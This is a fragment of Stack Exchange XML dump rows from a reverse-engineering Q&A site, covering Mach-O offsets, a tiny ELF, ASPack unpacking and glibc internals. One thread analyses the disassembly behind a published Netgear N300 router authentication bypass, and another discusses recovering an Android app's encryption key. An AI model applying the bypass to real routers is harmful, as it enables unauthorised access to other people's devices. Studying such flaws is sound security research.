Tags="|mips|shellcode|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15221" PostTypeId="1" AcceptedAnswerId="15227" CreationDate="2017-04-26T07:52:10.527" Score="3" ViewCount="863" Body="&lt;p&gt;Hello reverse engineers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am reverse engineering a Mach-O executable for iOS.&#xA;File says: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O arm_v7 executable] [64-bit architecture=12].&#xA;I need to convert a virtual address to a file offset in a Mach-O file.&#xA;In IDA, I see some data in the data segment with the virtual address 0x0000000100366720, which I want to read with a C program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using hexdump -C -v, I saw that the virtual address corresponds with the file offset 0xa9a720:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00a9a720  89 00 00 00 00 00 00 00  50 b7 39 00 01 00 00 00  |........P.9.....|&#xA;00a9a730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  |p&quot;......PS......|&#xA;00a9a760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  |XS..............|&#xA;00a9a770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a7a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a7b0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  |.........W......|&#xA;00a9a7c0  98 cf 32 00 01 00 00 00  94 cf 32 00 01 00 00 00  |..2.......2.....|&#xA;00a9a7d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a7e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a7f0  00 67 36 00 01 00 00 00  c0 cf 32 00 01 00 00 00  |.g6.......2.....|&#xA;00a9a800  20 54 12 00 01 00 00 00  7c 57 12 00 01 00 00 00  | T......|W......|&#xA;00a9a810  38 ce 32 00 01 00 00 00  10 ce 32 00 01 00 00 00  |8.2.......2.....|&#xA;00a9a820  34 ce 32 00 01 00 00 00  f0 53 12 00 01 00 00 00  |4.2......S......|&#xA;00a9a830  51 00 00 00 e8 03 00 00  2c 00 00 00 25 00 00 00  |Q.......,...%...|&#xA;00a9a840  46 00 00 00 ff 29 11 17  00 00 00 00 4b 17 00 00  |F....)......K...|&#xA;00a9a850  80 00 00 00 08 00 00 00  08 00 00 00 0a 00 00 00  |................|&#xA;00a9a860  00 00 00 00 0f 00 00 00  28 1b 00 00 d0 03 00 00  |........(.......|&#xA;00a9a870  c8 02 00 00 a0 01 00 00  00 00 00 00 58 02 00 00  |............X...|&#xA;00a9a880  a8 02 00 00 d8 01 00 00  00 00 00 00 50 01 00 00  |............P...|&#xA;00a9a890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |H...............|&#xA;00a9a8a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a8b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a8c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00a9a8d0  00 00 00 00 29 da f5 21  a1 b5 7a bf e9 7a d7 5b  |....)..!..z..z.[|&#xA;00a9a8e0  3a 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  |:.Ir.... g6.....|&#xA;00a9a8f0  f0 e2 32 00 01 00 00 00  20 e3 32 00 01 00 00 00  |..2..... .2.....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000100366720  89 00 00 00 00 00 00 00  50 B7 39 00 01 00 00 00  ........P.9.....&#xA;0000000100366730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;0000000100366740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;0000000100366750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  p&quot;......PS......&#xA;0000000100366760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  XS..............&#xA;0000000100366770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;0000000100366780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;0000000100366790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003667A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003667B0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  .........W......&#xA;00000001003667C0  98 CF 32 00 01 00 00 00  94 CF 32 00 01 00 00 00  ..2.......2.....&#xA;00000001003667D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003667E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003667F0  00 67 36 00 01 00 00 00  C0 CF 32 00 01 00 00 00  .g6.......2.....&#xA;0000000100366800  20 54 12 00 01 00 00 00  7C 57 12 00 01 00 00 00   T......|W......&#xA;0000000100366810  38 CE 32 00 01 00 00 00  10 CE 32 00 01 00 00 00  8.2.......2.....&#xA;0000000100366820  34 CE 32 00 01 00 00 00  F0 53 12 00 01 00 00 00  4.2......S......&#xA;0000000100366830  51 00 00 00 E8 03 00 00  2C 00 00 00 25 00 00 00  Q.......,...%...&#xA;0000000100366840  46 00 00 00 FF 29 11 17  00 00 00 00 4B 17 00 00  F....)......K...&#xA;0000000100366850  80 00 00 00 08 00 00 00  08 00 00 00 0A 00 00 00  ................&#xA;0000000100366860  00 00 00 00 0F 00 00 00  28 1B 00 00 D0 03 00 00  ........(.......&#xA;0000000100366870  C8 02 00 00 A0 01 00 00  00 00 00 00 58 02 00 00  ............X...&#xA;0000000100366880  A8 02 00 00 D8 01 00 00  00 00 00 00 50 01 00 00  ............P...&#xA;0000000100366890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  H...............&#xA;00000001003668A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003668B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003668C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................&#xA;00000001003668D0  00 00 00 00 29 DA F5 21  A1 B5 7A BF E9 7A D7 5B  ....)..!..z..z.[&#xA;00000001003668E0  3A 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  :.Ir.... g6.....&#xA;00000001003668F0  F0 E2 32 00 01 00 00 00  20 E3 32 00 01 00 00 00  ..2..... .2.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the post &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8177/convert-mach-o-vm-address-to-file-offset&quot;&gt;Convert Mach-O VM Address To File Offset&lt;/a&gt; this formula is mentioned:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you need to find the segment (LC_SEGMENT) load command which covers&#xA;  the address, then do something like this:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;fle_off = (address-seg.address)+ seg.offset&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have this load command in my Mach-O header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HEADER:0000000100000380 ; LC_SEGMENT_64 - 64-bit segment of this file to be mapped&#xA;HEADER:0000000100000380                 segment_command_64 &amp;lt;0x19, 0x5E8, &quot;__DATA&quot;, 0x100360000, 0x50000, \&#xA;HEADER:0000000100000380                                     0x360000, 0xC000, 3, 3, 0x12, 0&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I fill in the formula:&#xA;fle_off = (0x0000000100366720 - 0x100360000) + 0x360000 = 0x366720&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is not the same file offset as 0xa9a720, which I found out using hexdump.&#xA;It seems like I just calculated the offset from the base address.&#xA;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="19980" LastEditorUserId="19980" LastEditDate="2017-04-26T11:36:26.970" LastActivityDate="2017-04-26T11:52:57.060" Title="Mach-O : Convert virtual address to file offset on disk" Tags="|ida|c|ios|mach-o|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15222" PostTypeId="1" CreationDate="2017-04-26T08:45:33.310" Score="1" ViewCount="1011" Body="&lt;p&gt;As per the title, I have an encrypted text file that is generated by an Android app. I then have to send that off to the people whom made the app for them to decode it and send it back. Not ideal as they can sometimes take days to reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have both pre and post text files what would be the best way to find the key/decrypt them myself in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="19990" LastEditorUserId="2147" LastEditDate="2017-04-26T09:24:47.767" LastActivityDate="2017-04-26T14:19:39.173" Title="Reverse engineer encrypted text file if I have both pre and post encryption files" Tags="|android|decryption|apk|" AnswerCount="2" CommentCount="2" ClosedDate="2017-04-26T15:28:13.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="15223" PostTypeId="1" CreationDate="2017-04-26T09:07:33.943" Score="2" ViewCount="369" Body="&lt;p&gt;Unlike &lt;code&gt;LogMeIn&lt;/code&gt; or &lt;code&gt;GoToMyPC&lt;/code&gt;, &lt;code&gt;TeamViewer&lt;/code&gt; does not have any driver files except for the &lt;code&gt;INF and GPD&lt;/code&gt; files. &lt;code&gt;LogMeIn&lt;/code&gt; and &lt;code&gt;GoToMyPC&lt;/code&gt; have their own configuration and driver dlls, while TeamViewer uses the &lt;code&gt;default unidrvui.dll for config and unidrv.dll as driver file&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't seem to understand how Teamviewer is able to develop a &lt;code&gt;virtual printer driver&lt;/code&gt; without writing their own driver dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VNC also seems to follow similar way, they use &lt;code&gt;unidrvui.dll and unidrv.dll&lt;/code&gt;, but they have one more custom dll &lt;code&gt;VNCui.dll&lt;/code&gt; (guess this is also a config dll).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anyone tried to reverse engineer &lt;code&gt;TeamViewer&lt;/code&gt; or &lt;code&gt;VNC's&lt;/code&gt; virtual printer driver? Please shed some light on this.&lt;/p&gt;&#xA;" OwnerUserId="19981" LastEditorUserId="60" LastEditDate="2017-04-26T09:43:14.253" LastActivityDate="2017-04-26T09:43:14.253" Title="Trying to reverse engineer teamviewer's printer driver" Tags="|windows|binary-analysis|file-format|driver|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15224" PostTypeId="2" ParentId="15222" CreationDate="2017-04-26T09:15:35.613" Score="1" Body="&lt;p&gt;&lt;em&gt;This is a slightly broad question, so the answer will be as well. I suggest you ask additional, specific, questions as you continue your process.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First steps would probably be to get the apk, extract the java &amp;amp; native code from it and reverse your way to the encryption algorithm. Once you figure out what's the encryption algorithm and protocol you can see if the application can &lt;em&gt;technically&lt;/em&gt; decrypt data it previously encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are already questions here on how to start reverse engineering Android APKs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the java code decompiled, you can search for that code that actually performs the encryption and see what are the functions it calls and the input it receives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not necessarily possible because some encryption models (such as private/public encryption) only allow one side to decrypt.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-26T09:15:35.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15225" PostTypeId="2" ParentId="15223" CreationDate="2017-04-26T09:42:00.430" Score="1" Body="&lt;p&gt;It seems that &lt;a href=&quot;https://en.wikipedia.org/wiki/Unidrv&quot; rel=&quot;nofollow noreferrer&quot;&gt;unidrv&lt;/a&gt; does not require any extra DLLs but just a &lt;a href=&quot;https://msdn.microsoft.com/windows/hardware/drivers/print/introduction-to-gpd-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;.GPD file&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like you need to analyze the GPD file to figure out how it all works.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-26T09:42:00.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15227" PostTypeId="2" ParentId="15221" CreationDate="2017-04-26T11:52:57.060" Score="3" Body="&lt;p&gt;The offsets in the &lt;code&gt;LC_SEGMENT&lt;/code&gt; command are counted from the beginning of the Mach-O header in the file. Normally the Mach-O header is at file offset 0, however OS X and iOS support so-called &lt;a href=&quot;https://en.wikipedia.org/wiki/Fat_binary&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;fat&quot; files&lt;/a&gt; which can contain several Mach-O files (usually for different architectures). You need to account for that and add a corresponding delta to the file offset, or, alternatively, extract the subfile you're interested in (e.g. using &lt;code&gt;lipo&lt;/code&gt;) and work on a single file directly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-26T11:52:57.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15228" PostTypeId="2" ParentId="15196" CreationDate="2017-04-26T13:22:46.840" Score="2" Body="&lt;p&gt;Well, if the original file does not export the symbols, I can only think of two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the methods are registered dynamically at load time.&lt;/li&gt;&#xA;&lt;li&gt;(most likely) the file is obfuscated/encrypted and is decrypted on load.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In both cases the action probably happens in the &lt;code&gt;JNI_onLoad&lt;/code&gt; function. You will need to debug it to see what's going on.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-26T13:22:46.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15229" PostTypeId="2" ParentId="15222" CreationDate="2017-04-26T14:19:39.173" Score="0" Body="&lt;p&gt;What you are trying to do is called a chosen ciphertext attack. This is a well known attack model, and any decent symmetric encryption algorithm is expected to withstand it, though it's possible they're using a homegrown or broken algorithm. If they're using asymmetric crypto, there's no chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned above, you should start by reversing the application itself. That will hopefully tell you which algorithm they are using, and if they are using symmetric crypto, it will probably tell you the key as well.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-04-26T14:19:39.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15230" PostTypeId="2" ParentId="15213" CreationDate="2017-04-26T15:45:22.423" Score="1" Body="&lt;p&gt;the addresses are different because the binaries are not identical and differ in their layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for finding out which functions are being called:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;easy solution: use &lt;code&gt;-V&lt;/code&gt; to have &lt;code&gt;otool&lt;/code&gt; print hints about the symbols being called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hard solution: disassemble target addresses and figure out how the dynamic calls work in OS X and how &lt;code&gt;dyld&lt;/code&gt; resolves symbols. it may be useful to use a debugger here and consult source code of &lt;code&gt;dyld&lt;/code&gt; and &lt;code&gt;ld&lt;/code&gt;(available at Apple 's open source website)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-26T15:45:22.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15232" PostTypeId="2" ParentId="12943" CreationDate="2017-04-27T01:05:59.040" Score="2" Body="&lt;p&gt;I know this is an old thread and probably you either figured it out on your own or gave up and dgaf anymore. But this is I believe Soundex code (It absolutely is the case for the Quebec drivers license atleast), which is based on how names sound rather than spelling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Quebec: SSSSL DDMMYY NN - soundex last name + license type, DOB, NN &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps someone. &lt;/p&gt;&#xA;" OwnerUserId="20001" LastEditorUserId="20001" LastEditDate="2017-04-27T01:23:13.610" LastActivityDate="2017-04-27T01:23:13.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15233" PostTypeId="1" CreationDate="2017-04-27T03:28:17.450" Score="2" ViewCount="279" Body="&lt;p&gt;I was reading a &lt;a href=&quot;https://amritabi0s.wordpress.com/2017/04/24/plaid-ctf-2017-bigpicture-write-up/&quot; rel=&quot;nofollow noreferrer&quot;&gt;write-up&lt;/a&gt; of a binary exploitation where I came across the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XVP8K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVP8K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the &lt;code&gt;mapped&lt;/code&gt; keyword listed under &lt;code&gt;Name&lt;/code&gt; column mean? What sort of memory region does it refer to?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-04-27T03:28:17.450" Title="What does 'mapped' memory region mean in gdb-peda?" Tags="|gdb|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15234" PostTypeId="1" CreationDate="2017-04-27T07:29:15.210" Score="1" ViewCount="245" Body="&lt;p&gt;I am disassembling &lt;code&gt;libc-2.23.so&lt;/code&gt;, there exists a thunk method called &lt;code&gt;j_free&lt;/code&gt; which jumps at the location pointed to by &lt;code&gt;free_ptr&lt;/code&gt; pointer in glibc. Why do those even exist while &lt;code&gt;free()&lt;/code&gt; itself is exported?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jrntj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jrntj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/h2&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2017-04-27T22:56:49.440" LastActivityDate="2017-04-28T05:41:36.927" Title="Why is j_free function and free_ptr pointer needed in glibc?" Tags="|libc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15235" PostTypeId="1" AcceptedAnswerId="15237" CreationDate="2017-04-27T09:52:47.500" Score="3" ViewCount="280" Body="&lt;p&gt;I was looking at &lt;a href=&quot;http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;writeup&lt;/a&gt; on Netgear N300 authentication bypass vulnerability and I have found some inconsistencies in the article with my understanding of it. I want a second opinion on this because I'm not very good at reading MIPS disassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have problem with two statements from article&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As you can see in the following image if the url contains the string ( BRS_netgear_success.html ) it moves to an interesting piece of code which sets two variables in the nvram to 0 (need_not_login and start_in_blankstate)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell the nvram_set function sets the first variable &quot;need_not_login&quot; to '0' (ascii) taken from asc_40B7A8, but I think the second one &quot;start_in_blankstate&quot; is set to '1'. Because the $a1 is set to value from aGate_interf+0x18. I think this is some sort of compiler optimization. aGate_interf starts at 0x40BCA8 when we add 0x18 we get 0x40BCC0 which points to char '1'. Here is the disassembly that shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SecuA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SecuA.png&quot; alt=&quot;nvram_set for start_in_blankstate&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;and aGate_interf+0x18:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fzhng.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fzhng.png&quot; alt=&quot;aGate_interf+0x18&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second mistake is also related to this. The author claims that when value of 'start_in_blankstate' is different from '1' then login is bypassed. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If yes, we find a reference to start_in_blankstate where it's compared to be different to 1 and if yes the login is bypassed:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But that doesn't make sense to me. As I understand it nvram_get loads the value of 'start_in_blankstate' to $v0 then it's copied to $v1 and $v0 is loaded with '1'. They are compared at 0x403940. There is bne instruction so if they don't equal it's true (take green) if they equal it's false (take red) and bypass authentication. It can be seen here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hsUUp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsUUp.png&quot; alt=&quot;auth bypass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this rather fits the variable name &quot;start_in_blankstate&quot; that when this is set to 1 the router was not started yet and is in blank state, so bypass login and user can set his password. Is my understanding of this correct or was the author right?&lt;/p&gt;&#xA;" OwnerUserId="14507" LastActivityDate="2017-04-27T10:54:12.060" Title="Netgear n300 auth bypass vulnerability" Tags="|disassembly|firmware|mips|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15237" PostTypeId="2" ParentId="15235" CreationDate="2017-04-27T10:54:12.060" Score="1" Body="&lt;p&gt;As far as I can see given the data you provided you're right on both accounts, If I understand you correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things to note, though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The value in &lt;code&gt;aGate_interf+0x18&lt;/code&gt; is indeed the value set to &lt;code&gt;&lt;/code&gt;start_in_blankstate`, but it's not too clear what's the value there, given the second image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If &lt;code&gt;start_in_blankstate&lt;/code&gt; equals &quot;1&quot; the branch is not taken, and execution continues to the strcmp` call (which might be a password validation?).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This might be a patched version, or some error in the article. It does look a bit like it was copied from someplace else or that the link to the firmware download was added later on without validation.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-27T10:54:12.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15238" PostTypeId="1" CreationDate="2017-04-27T11:39:47.550" Score="4" ViewCount="2961" Body="&lt;p&gt;My question is general, but to have an example to work with, let us take one from &lt;a href=&quot;http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Whirlwind Tutorial&quot;&gt;Whirlwind Tutorial&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; tiny.asm&#xA;BITS 32&#xA;          org     0x00010000&#xA;          db      0x7F, &quot;ELF&quot;             ; e_ident&#xA;          dd      1                                       ; p_type&#xA;          dd      0                                       ; p_offset&#xA;          dd      $$                                      ; p_vaddr &#xA;          dw      2                       ; e_type        ; p_paddr&#xA;          dw      3                       ; e_machine&#xA;          dd      _start                  ; e_version     ; p_filesz&#xA;          dd      _start                  ; e_entry       ; p_memsz&#xA;          dd      4                       ; e_phoff       ; p_flags&#xA;_start:&#xA;          mov     bl, 42                  ; e_shoff       ; p_align&#xA;          xor     eax, eax&#xA;          inc     eax                     ; e_flags&#xA;          int     0x80&#xA;          db      0&#xA;          dw      0x34                    ; e_ehsize&#xA;          dw      0x20                    ; e_phentsize&#xA;          db      1                       ; e_phnum&#xA;                                          ; e_shentsize&#xA;                                          ; e_shnum&#xA;                                          ; e_shstrndx&#xA;&#xA;filesize      equ     $ - $$  ; tiny.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get a binary compile with &lt;code&gt;nasm -f bin -o tiny nasm.asm;chmod +x tiny&lt;/code&gt;. Executable in it self, is a bit of tiny monster. It is smaller than ELF header, yet contains ELF header, program header and program code - yet Linux (at least on my 64 Debian) runs it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to debug this types files that have (intentionally or not) damaged/incorrect elf header. Is there a tool to fix elf header? Is there debugger that will manage to run this file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried is to get entry point: &lt;code&gt;readelf -h tiny&lt;/code&gt; but &lt;code&gt;readelf&lt;/code&gt; refuses even to look at the file: &lt;code&gt;readelf: Error: tiny: Failed to read file header&lt;/code&gt;. &lt;code&gt;objdump&lt;/code&gt; is no better.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;rabin2 -e tiny&lt;/code&gt; we get entry address (with some warnings):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Entrypoints]&#xA;vaddr=0x00010020 paddr=0x00010020 baddr=0x00000000 laddr=0x00000000 haddr=0x00000018 type=program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I managed to get some dissasembly using &lt;code&gt;radare2 tiny&lt;/code&gt; and &lt;code&gt;pd&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [0x00010020]&amp;gt; pd&#xA;        ;-- entry0:&#xA;        0x00010020      b32a           mov bl, 0x2a                ; '*' ; 42&#xA;        0x00010022      31c0           xor eax, eax&#xA;        0x00010024      40             inc eax&#xA;        0x00010025      cd80           int 0x80&#xA;        0x00010027      003400         add byte [eax + eax], dh&#xA;        0x0001002a      2000           and byte [eax], al&#xA;        ;-- section_end.uphdr:&#xA;        0x0001002c  ~   01ff           add edi, edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next I tried &lt;code&gt;gdb tiny&lt;/code&gt;, &lt;code&gt;lldb tiny&lt;/code&gt; but neither worked. Free version 5.0 of IDA stops at infinite loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to repair elf in automatic/semi-automatic way? Or maybe some other trick that would allow debugging this (or similar) binary? One idea that comes to my mind is to patch entry point with instruction that loops and attach &lt;code&gt;gdb&lt;/code&gt;. Would that work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no tool for repairing elf exists, which files in kernel source contain code responsible for loading binary?&lt;/p&gt;&#xA;" OwnerUserId="19984" LastActivityDate="2020-06-27T18:07:35.670" Title="Is there a way to debug an elf file that runs with no problems with damaged header?" Tags="|debugging|linux|elf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15242" PostTypeId="1" CreationDate="2017-04-27T23:58:38.060" Score="0" ViewCount="1432" Body="&lt;p&gt;I've tried to unpack program packed with aspack 2.12 manually by ollydbg,by setting breakpoint at RETN 0c. However whenever I tried to dump with ollydump, it sends error message like &quot;unable to read memory of debugged process&quot;and then &quot;Bad DOS signature!&quot;message. The question is...&#xA;1. Is there any decent unpacking tool for aspack2.12? &#xA;2. How to fix problem of &quot;unable to read memory of debugged process&quot;and then &quot;Bad DOS signature!&quot; in ollydbg?&lt;/p&gt;&#xA;" OwnerUserId="20000" LastActivityDate="2017-07-23T23:59:50.783" Title="I'd like to ask about unpacking aspack 2.12" Tags="|ollydbg|debugging|debuggers|unpacking|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15243" PostTypeId="2" ParentId="15234" CreationDate="2017-04-28T05:41:36.927" Score="3" Body="&lt;p&gt;In ELF, all symbols are global. it means that a symbol in another module (e.g. main executable) can override the glibc's &lt;code&gt;free&lt;/code&gt;. that's why all calls to it go through a GOT pointer. On the first call, the dynamic linker will go through all symbols in all modules and pick up the first one offering &lt;code&gt;free&lt;/code&gt;. If no other modules export it, the libc one will be used. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-28T05:41:36.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
